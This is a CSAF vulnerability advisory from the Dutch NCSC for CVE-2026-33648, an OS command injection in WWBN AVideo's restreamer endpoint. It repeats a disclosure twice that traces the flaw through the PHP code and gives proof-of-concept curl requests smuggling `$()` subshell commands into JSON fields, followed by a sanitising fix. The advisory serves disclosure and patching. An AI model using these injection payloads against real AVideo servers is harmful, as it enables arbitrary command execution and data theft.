{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33648",
        "tracking": {
            "current_release_date": "2026-03-25T20:00:02.552903Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33648",
            "initial_release_date": "2026-03-24T10:54:07.999385Z",
            "revision_history": [
                {
                    "date": "2026-03-24T10:54:07.999385Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T10:54:11.264825Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-24T13:51:07.608996Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-24T13:51:17.923268Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T21:37:19.724904Z",
                    "number": "5",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-24T21:37:32.741126Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T15:39:28.844579Z",
                    "number": "7",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-25T15:39:31.450351Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:26:38.034371Z",
                    "number": "9",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-25T18:26:45.316824Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:33:17.333246Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Product Identifiers created (17).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:42:38.523306Z",
                    "number": "12",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:42:48.050675Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "13"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=26.0",
                                "product": {
                                    "name": "vers:unknown/<=26.0",
                                    "product_id": "CSAFPID-5893889",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "AVideo"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.4",
                                "product": {
                                    "name": "vers:unknown/10.4",
                                    "product_id": "CSAFPID-5656122",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/10.8",
                                "product": {
                                    "name": "vers:unknown/10.8",
                                    "product_id": "CSAFPID-5656123",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@10.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11",
                                "product": {
                                    "name": "vers:unknown/11",
                                    "product_id": "CSAFPID-5656124",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1",
                                "product": {
                                    "name": "vers:unknown/11.1",
                                    "product_id": "CSAFPID-5656125",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.1.1",
                                "product": {
                                    "name": "vers:unknown/11.1.1",
                                    "product_id": "CSAFPID-5656126",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.1.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.5",
                                "product": {
                                    "name": "vers:unknown/11.5",
                                    "product_id": "CSAFPID-5656127",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/11.6",
                                "product": {
                                    "name": "vers:unknown/11.6",
                                    "product_id": "CSAFPID-5656128",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@11.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/12.4",
                                "product": {
                                    "name": "vers:unknown/12.4",
                                    "product_id": "CSAFPID-5656129",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@12.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.3",
                                "product": {
                                    "name": "vers:unknown/14.3",
                                    "product_id": "CSAFPID-5656130",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.3.1",
                                "product": {
                                    "name": "vers:unknown/14.3.1",
                                    "product_id": "CSAFPID-5656131",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.3.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/14.4",
                                "product": {
                                    "name": "vers:unknown/14.4",
                                    "product_id": "CSAFPID-5656132",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@14.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/18.0",
                                "product": {
                                    "name": "vers:unknown/18.0",
                                    "product_id": "CSAFPID-5656133",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@18.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/21.0",
                                "product": {
                                    "name": "vers:unknown/21.0",
                                    "product_id": "CSAFPID-5721197",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@21.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/22.0",
                                "product": {
                                    "name": "vers:unknown/22.0",
                                    "product_id": "CSAFPID-5772271",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@22.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/24.0",
                                "product": {
                                    "name": "vers:unknown/24.0",
                                    "product_id": "CSAFPID-5772272",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@24.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/25.0",
                                "product": {
                                    "name": "vers:unknown/25.0",
                                    "product_id": "CSAFPID-5840723",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@25.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/26.0",
                                "product": {
                                    "name": "vers:unknown/26.0",
                                    "product_id": "CSAFPID-5878928",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/wwbn/avideo@26.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=26.0",
                                "product": {
                                    "name": "vers:unknown/>=0|<=26.0",
                                    "product_id": "CSAFPID-5878929"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "avideo"
                    }
                ],
                "category": "vendor",
                "name": "WWBN"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33648",
            "cwe": {
                "id": "CWE-78",
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33648.json"
                },
                {
                    "category": "description",
                    "text": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33648"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . ' > ' . $logFile . ' 2>&1 &');\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"x$(id > /tmp/pwned)x\",\n    \"liveTransmitionHistory_id\": \"1\"\n  }'\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &\n```\n\nThe `$()` subshell executes `id > /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"1\",\n    \"liveTransmitionHistory_id\": \"1$(whoami > /tmp/pwned2)1\"\n  }'\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj->users_id)) {\n    $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);\n}\nif (isset($robj->liveTransmitionHistory_id)) {\n    $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');\n```\n\nBoth fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-5m4q-5cvx-36mw.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . ' > ' . $logFile . ' 2>&1 &');\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"x$(id > /tmp/pwned)x\",\n    \"liveTransmitionHistory_id\": \"1\"\n  }'\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &\n```\n\nThe `$()` subshell executes `id > /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"1\",\n    \"liveTransmitionHistory_id\": \"1$(whoami > /tmp/pwned2)1\"\n  }'\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj->users_id)) {\n    $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);\n}\nif (isset($robj->liveTransmitionHistory_id)) {\n    $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');\n```\n\nBoth fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.",
                    "title": "github - https://api.github.com/advisories/GHSA-5m4q-5cvx-36mw"
                },
                {
                    "category": "other",
                    "text": "0.00091",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, The value of the most recent EPSS score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5893889",
                    "CSAFPID-5656122",
                    "CSAFPID-5656123",
                    "CSAFPID-5656124",
                    "CSAFPID-5656125",
                    "CSAFPID-5656126",
                    "CSAFPID-5656127",
                    "CSAFPID-5656128",
                    "CSAFPID-5656129",
                    "CSAFPID-5656130",
                    "CSAFPID-5656131",
                    "CSAFPID-5656132",
                    "CSAFPID-5656133",
                    "CSAFPID-5721197",
                    "CSAFPID-5772271",
                    "CSAFPID-5772272",
                    "CSAFPID-5840723",
                    "CSAFPID-5878928",
                    "CSAFPID-5878929"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33648.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33648"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-5m4q-5cvx-36mw.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-5m4q-5cvx-36mw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33648"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-5m4q-5cvx-36mw"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 8.8,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5656122",
                        "CSAFPID-5656123",
                        "CSAFPID-5656124",
                        "CSAFPID-5656125",
                        "CSAFPID-5656126",
                        "CSAFPID-5656127",
                        "CSAFPID-5656128",
                        "CSAFPID-5656129",
                        "CSAFPID-5656130",
                        "CSAFPID-5656131",
                        "CSAFPID-5656132",
                        "CSAFPID-5656133",
                        "CSAFPID-5721197",
                        "CSAFPID-5772271",
                        "CSAFPID-5772272",
                        "CSAFPID-5840723",
                        "CSAFPID-5878928",
                        "CSAFPID-5878929",
                        "CSAFPID-5893889"
                    ]
                }
            ],
            "title": "CVE-2026-33648"
        }
    ]
}